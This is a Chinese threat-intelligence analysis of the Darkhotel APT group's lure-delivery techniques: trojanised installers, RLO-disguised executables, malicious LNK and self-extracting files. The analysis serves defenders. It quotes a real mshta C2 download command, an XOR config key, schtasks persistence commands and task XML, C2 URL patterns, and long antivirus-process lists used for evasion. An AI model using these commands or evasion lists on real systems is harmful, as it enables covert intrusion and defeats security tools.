APT Group系列——Darkhotel之诱饵投递篇

一、Darkhotel组织简介

Darkhotel是一个活跃近10年的APT组织,于2014年被卡巴斯基披露,最早可追溯到2010年。该组织因针对入住高档酒店的商贸高管和国家政要而得名,攻击目标范围涉及中国、朝鲜、日本、缅甸、印度以及少数欧洲国家。该组织有寄生兽、Dubnium、Nemim、Tapaoux、APT-C-06和T-APT-02等多个别名,并被认为具有朝鲜半岛国家背景。

Darkhotel组织的攻击特色是通过入侵一些高档酒店的网络系统,掌控酒店WIFI,使用社会工程学手段,对登陆WIFI的目标发送伪造的提示,诱使其下载指定工具并升级,向目标主机植入恶意后门。由于攻击者控制了WIFI,且对目标的姓名、来去时间和房间号了如指掌,使得目标处于半监视环境中而不自知。近年来,该组织多次伪装正常软件包发动水坑攻击。

此外,Darkhotel也使用钓鱼攻击。攻击者向企业高管和国家政要发送邮件,其主题经过精心设计,与行业政策态势或者政治热点问题密切相关,附件中则包含构造的恶意文件。这些文件多为快捷方式、自解压文件或携带0day漏洞的文档,待目标打开运行即触发恶意行为。

Darkhotel使用过的木马工具形式多样,既包括传统的远控木马、间谍软件和升级下载器,也包含独具特色文件的感染组件等。前者用于窃取用户敏感信息,而后者则被用于打破隔离网络下的限制,进行更大范围的攻击。

上述特征使得Darkhotel成为极其危险的活跃APT组织,需要引起相关行业的高度重视。

二、诱饵投递

2.1 手法简述

Darkhotel投递的诱饵主要分为3种类型:

  1. 带漏洞的文档
  2. 带后门的工具/安装包伪装的文档
  3. 伪装的文档

漏洞文档是APT组织常用的攻击载荷之一。例如在2014年,该组织就利用过当年的Adobe 0day漏洞CVE-2014-0497,对我国若干特定邮箱用户发起定向攻击。在2015年,该组织利用了当年的0day漏洞CVE-2015-8651。攻击者发送钓鱼邮件,包含了嵌入恶意swf链接Word文档,通过shellcode下载执行后续的恶意程序。此后,该组织被爆出继续使用其他漏洞发起攻击,涉及CVE-2017-11882、CVE-2018-8174和CVE-2018-8373等。这些攻击中的0day利用表明该组织始终保持着对传统PC漏洞的高关注度。

而对于后两种类型,攻击过程中会释放恶意程序或文件,同时安装正常软件或打开正常文件以掩盖恶意行为,故能够欺骗目标。在这方面,Darkhotel可谓劣迹昭着。

早在2014年,该组织就在数个酒店发起水坑攻击,要求目标升级Adobe Flash,Google Toolbar与Windows Messenger等工具,实则插入了后门。该组织还曾在日本p2p网络上发布关于成人内容的种子,并提供压缩包解密工具,最终释放出恶意程序。无论是伪造官方安装还是利用人的需求,Darkhotel都成功骗取了目标的信任。

Darkhotel也曾诱使目标点击执行伪装成图片或文档的可执行文件或恶意快捷方式(Lnk),以展开后续活动。与漏洞相比,这种方式成本较低且不受Windows版本平台约束。

2.2 污染的软件升级/安装包

2.2.1 网易邮箱“大师”

2019年,Darkhotel被爆出发起了针对中国外贸易企业高管的攻击[]。攻击者伪造了网易云邮箱大师安装包,在释放了正常的邮箱大师的同时会下载并加载恶意Dll,用来下载安装后续恶意程序。

该dll组件有两大特点,一是在调用自身某些函数时并非直接调用,而是通过rundll32.exe另起一个进程;二是会根据加载自身进程的不同而产生不同的行为。

Dll会检测加载自身的进程,分别为winword.exe、powershell.exe和searchIndexer.exe。这可以兼顾Dll注入,也以分别兼顾Word漏洞利用或伪装文档、powershell下载执行组件和劫持wsearch服务这三种情况。

若自身进程为winword.exe,则使用rundll32.exe加载自身并调用函数lame。在lame函数中,首先会检测lame.dll是否存在,如果不存在则退出。如果lame.dll存在会再次检测是否存在硬编码的杀软产品进程:

360tray.exe、ZhuDingFangYu.exe、QHSafeTray.exe、QHActiveDefense.exeAvastUI.exe、avgui.exe

若上述进程之一存在,则再次下载lame.dll,并将其复制到System32目录下重命名为msTracer.dll,并设置wsearch服务自启动。wsearch服务会运行searchIndexer.exe,后者会加载msTracer.dll,因此实现了劫持。

如果不存在上述杀软,则使用rundll32.exe加载自身并调用lame3函数,通过修改注册表增加服务LameSvc实现lame.dll开机自启动。

服务名称LameSvc
显示名称LAME MP3 Encoder Service
可执行文件路径%SystemRoot%\\System32\\svchost.exe -k lamesvc

若加载自身的进程是SearchIndexer.exe,则创建SearchProtocolHost.exe进程。该进程同样会加载上文提到的msTracer.dll,形成劫持。

若加载自身进程为powershell.exe,则获取本机信息,包括计算机名、用户名、进程列表等信息,然后检测指定目录下lame.dll是否存在,没有则下载,有则退出程序。

2.3 文件伪装

2.3.1 EXE伪装成图片

2015年的一起攻击事件中,Darkhotel将可执行文件伪装成图片诱使目标点击。

可执行文件名为congratulation_rcs.jpg,实际为添加了RLO字符的congratulation_gpj.scr。该可执行文件运行后将正常图片congratulation_rcs.jpg释放到目录AppData\Roaming下,然后打开图片。该图片会替换伪装的可执行文件,不过这样会造成屏幕画面闪动,可能引人怀疑。图片中包含几行朝鲜文,大意是节日祝福与对未来的愿景,结尾处文字疑似为某国领导人的落款。

接着PE在AppData\Roaming\Microsoft文件夹下创建一个隐藏的mspaint2.lnk的快捷方式并打开。之后会并删除之前的scr文件和bat文件,使得目录下只能看到图片。

此处的lnk作为中间组件,包含恶意脚本,功能是下载第二阶段的JS脚本。

第二阶段脚本会下载可执行文件,保存于%temp%文件夹下并随即执行,同时删除之前的JS。

2.3.2 Lnk伪装成文档

2016年一起攻击事件中,Darkhotel将恶意lnk伪装成doc文档图标,通过固定的命令行来下载可执行文件:

该命令行指定下载连接,并将文件保存为dwm.exe来执行。Dwm.exe是具有一定伪装的Dropper程序,与Windows桌面管理器组件同名,运行后会释放伪装的文档以欺骗目标,使之以为自己打开的确实是文档。

该lnk社工文件最终释放的载荷是名为xxxx21.exe的下载器,与2015年携带Adobe漏洞swf的文档释放出的程序相同。下载器会连接指定C&C,下载最终阶段木马程序并将其注入windows进程运行。

该程序会检测沙箱、虚拟机以及大量与安全程序相关的进程、注册表以及指定字符串等内容。检测的沙箱包括:

VirtuBox, VMware, Sandbox, BSA, Cuckoo 

杀软进程名包括:

  • 卡巴斯基

avp.exe avpui.exe 

  • McAfee

mcagent.exe McNASvc.exe MpfSrv.exe McProxy.exe mcmscsvc.exe McUICnt.exe McAPExe.exe mfefire.exe McCSPServiceHost.exe mcshield.exe mfevtps.exe McSvHost.exe McVulCtr.exe 

  • 趋势科技

uiWatchDog.exe uiseagnt.exe ufseagnt.exe uiwinmgr.exe coreserviceshell.exe coreframeworkhost.exe 

  • 360

ZhuDongFangYu.exe 360tray.exe 360sd.exe 360rp.exe qhsafetray.exe qhwatchdog.exe qhactivedefense.exe 

  • ALYac

ayagent.aye ayrtsrv.aye ayupdsrv.aye 

  • AntiVir

avguard.exe avgnt.exe avcenter.exe

  • 诺顿

ccsvchst.exe nis.exe ns.exe 

  • AVG

avgtray.exe avgui.exe avgidsagent.exe avgwdsvc.exe avgrsa.exe avgcsrva.exe avgcsrvx.exe

  • Avast

afwServ.exe avastui.exe avastsvc.exe

  • 微软

msseces.exe msmpeng.exe nissrv.exe 

  • Eset NOD32

egui.exe ekrn.exe 

  • AdAwareInstaller

AdAwareDesktop.exe AdAwareService.exe AdAwareTray.exe AdAwareUpdater.exe 

  • 百度

BHipsSvc.exe bavhm.exe BavSvc.exe BavTray.exe BavUpdater.exe Bav.exe BaiduHips.exe BaiduSdTray.exe BaiduSdSvc.exe

  • BitDefender

bdagent.exe bdwtxag.exe 

  • 金山毒霸

kxetray.exe kxescore.exe

  • Comodo

CisTray.exe cavwp.exe cmdagent.exe cis.exe cmdupd.exe

  • Malwarebytes

mbam.exe mbamscheduler.exe mbamservice.exe 

  • Panda

PSUAMain.exe PSUAService.exe PSANHost.exe 

  • Dr.Web

dwscanner.exe dwengine.exe dwarkdaemon.exe dwnetfilter.exe dwservice.exe

  • 瑞星

RsMgrSvc.exe RavMonD.exe RavMonD.exe RsTray.exe 

  • 腾讯

QQPCRTP.exe QQPCTray.exe

  • K7TotalSecurity

K7TSHlpr.exe K7TSMain.exe K7TSMngr.exe K7TSecurity.exe K7CrvSvc.exe K7EmlPxy.exe K7CTScan.exe K7SysMon.Exe K7FWSrvc.exe K7PSSrvc.exe

  • 其他

a2guard.exe a2service.exe avk.exe avktray.exe avas.exe tptray.exe fsma32.exe fsorsp.exe econser.exe escanmon.exe pctsSvc.exe pctsGui.exe casc.exe umxengine.exe nsesvc.exe cclaw.exe v3svc.exe guardxup.exe fprottray.exe vba32ldr.exe 

该程序的主要运行参数通过解密配置信息得到,会在以下位置获取加密的配置信息:

  1. 程序运行目录下的.mul后缀文件内;
  2. 程序本体内存的0x4DBC90~0x4DC408处。

使用的解密算法为异或,异或Key为34 61 61 5E 61 0F 32 5E 53 54。

从解密后的配置信息中获得C&C地址,并使用白名单程序mshta下载文件。连接会包含程序生成的一串由大小写字母组成的ID号。

C:\Windows\system32\mshta.exe "http://top-163.com/docu99/set.php?id_str"

由于mshata本身不能指定下载文件的本地保存路径,故该程序对mshta进程进行监控,使用NtQueryObject获取mshta中对象的名称信息,以获得mshta生成的缓存文件的路径。

程序尝试将文件注入到指定windows进程中。首先尝试注入默认浏览器,若注入不成功,尝试在固定进程列表中找到程序执行注入。针对不同环境,程序有以下注入目标:

plasrv.exe;wksprt.exe;raserver.exe;mshta.exe;taskhost.exe;dwm.exe;sdiagnhost.exe;winrshost.exe;wsmprovhost.exe;

ctfmon.exe;mshta.exe;explorer.exe;

dwm.exe;sidebar.exe;mshta.exe;taskeng.exe;MSASCui.exe;ctfmon.exe;explorer.exe;wksprt.exe;ctfmon.exe;mshta.exe;explorer.exe;

2.3.3 Lnk直接点击

在2019年一起针对日本相关组织的攻击事件中,钓鱼邮件诱导目标从云服务器下载并执行恶意Lnk。Lnk会利用白名单工具mshta下载包含VBScript的html文件,运行该VBScript会创建并运行VBS文件(stwa,vbs)和BAT文件(Autorun.bat)。

VBS脚本的作用是解码lnk中的Base64数据,生成CAB自解压包,运行其中的模块化组件,包括下载器、文件复制器的xml注册工具等。

srdfqm.exe下载器
cp_cdis32.exe复制srdfqm.exe到%APPDATA%microsoft目录下
sd.exe对任务文件winpt.xml和winpt_n.xml文件进行注册

使用如下命令注册xml为任务:

schtasks.exe /create /tn WinpcapUpdt /xml winpt.xml
schtasks.exe /create /tn WinPcapUpdt_n /xml winpt_n.xml

其中的winpt.xml和winpt_n.xml部分内容分别如下所示:

<?xml version="1.0" encoding="UTF-16"?>
……..
……..
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec id="tte243">
      <Command>%appdata%\Microsoft\Network\lqm_gt.exe</Command>
      <WorkingDirectory>%appdata%\Microsoft\Network</WorkingDirectory>
    </Exec>
  </Actions>
</Task>
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  ….
  ….
  </Settings>
  <Actions Context="Author">
    <Exec id="tte243">
      <Command>%appdata%\Microsoft\Network\lqm_gt.exe</Command>
      <WorkingDirectory>%appdata%\Microsoft\Network</WorkingDirectory>
    </Exec>
  </Actions>
</Task>

创建任务是WinpcapUpdt和WinPcapUpdt_n,用于执行其他组件

2.3.4 自解压文件伪装成文档

在2016年一次攻击事件中,Darkhotel在钓鱼邮件中使用了伪装成文档的自解压文件,名为winword.exe。与上文3例同理,该文件一旦运行,除了释放真正的文档外还会执行下载行为。下载行为分为了多个阶段,以试图绕过安全监测。

该组件首先将自身复制至自启动目录以实现持久性驻留:

C:\Users\%USER%\AppData\Roaming\Microsoft\Windows\Startup

之后,生成记录主机信息的脚本并执行。日后在于C2通信过程中,收集的主机信息会被上传至C2服务器。

第一阶段,三个步骤与C&C通信:

  1. 样本首先使用HTTP GET向C2发送请求,URL为/PHOTO/view2.php?jpg=yahoo_img_src

若C&C回复的内容包含”yahoo_img_src”,则进入一下阶段。

  1. 使用HTTP POST向C&C上传消息,URL为/PHOTO/view1.php。消息的内容来自本地。行为中生成的临时文件,内容为记录的用户主机信息。
  1. 样本使用HTTP协议向C2发送请求,方法为GET,URL为:

/PHOTO/view1.php&banner=[BASE64编码的主机名称_MAC地址]

C2将第二阶段的下载器作为该请求的回复,由样本保存至本地并执行。

第二阶段的组件使用白名单文件mshta.exe连接C&C下载文件。该手段与上文所述2016年恶意lnk攻击链中使用mshta的方式一模一样。

URL指向的资源会被mshta保存作为临时文件保存至:

AppData\Local\Microsoft\Windows\Temporary Internet Files

同时,mstha作为该文件的创建者,负责维护该临时文件的句柄。当C2回复后,通过函数遍历全局句柄列表,在mshta进程所属的句柄中,定位负责维护该临时文件的句柄。对该临时文件的句柄进行读操作,以获取C2的回复内容。

与C2的每轮通信中共三个步骤:

  1. 样本生成一段32个字节的随机字符并使用base64编码,编码前的格式如图所示。

编码完毕后,构建URL向C2端发送GET请求,C2端需回复编码前的32个随机字符使得通信流程继续执行。

  1. 样本生成一段包含两个字段的GET请求

第一个字段为’gwe_rd’(Google Font End, redirect),其内容为随机数;

第二个字段为’gfe_rd’(Google Font End, redirect),其内容包括主机名等用户信息。

上述字段内容均使用64位编码。收到请求后,C&C会发送一个长度为四字节且仅包含数字与字母的字符串作为回应。

  1. 样本生成一段包含三个字段的GET请求

第一个字段为’gfe_rd’(Google Font End, redirect),其内容包括主机名等用户信息,与步骤二相同。

第二个字段为’gwe_rd’(Google Font End, redirect),其内容为随机数与步骤二中C2回复的四字节字符串组成;上述字段内容均使用64位编码。

第三个字段为’fbm_hty’, 该字段包含主机中的进程列表密文。C2收到该请求后将加密的可执行恶意载荷返回至主机。

最终,下载器将最终恶意载荷解密至本地文件并交由explorer执行。

三、诱饵投递篇总结

Darkhotel兼具APT组织的惯有特征和自身特色。该组织非常善于对组件进行伪装,同时释放出恶意程序与正常文件,使得目标往往难以察觉背后的猫腻。该组织极其善于发掘现实中的水坑场所,这暴露了相关行业严重的网络安全缺陷。不管是入侵酒店网络进行恶意软件投送,还是通过钓鱼邮件投送,都展现出Darkhotel有着极强的对潜在网络脆弱性的获取和利用能力。(未完待续)

附:关于伏影实验室

伏影实验室专注于安全威胁研究与监测技术,包括但不限于威胁识别技术,威胁跟踪技术,威胁捕获技术,威胁主体识别技术。研究目标包括:僵尸网络威胁,DDOS对抗,WEB对抗,流行服务系统脆弱利用威胁、身份认证威胁,数字资产威胁,黑色产业威胁 及 新兴威胁。通过掌控现网威胁来识别风险,缓解威胁伤害,为威胁对抗提供决策支撑。

Spread the word. Share this post!

Meet The Author

伏影实验室专注于安全威胁监测与对抗技术研究。
研究目标包括Botnet、APT高级威胁,DDoS对抗,WEB对抗,流行服务系统脆弱利用威胁、身份认证威胁,数字资产威胁,黑色产业威胁及新兴威胁。通过掌控现网威胁来识别风险,缓解威胁伤害,为威胁对抗提供决策支撑。

Leave Comment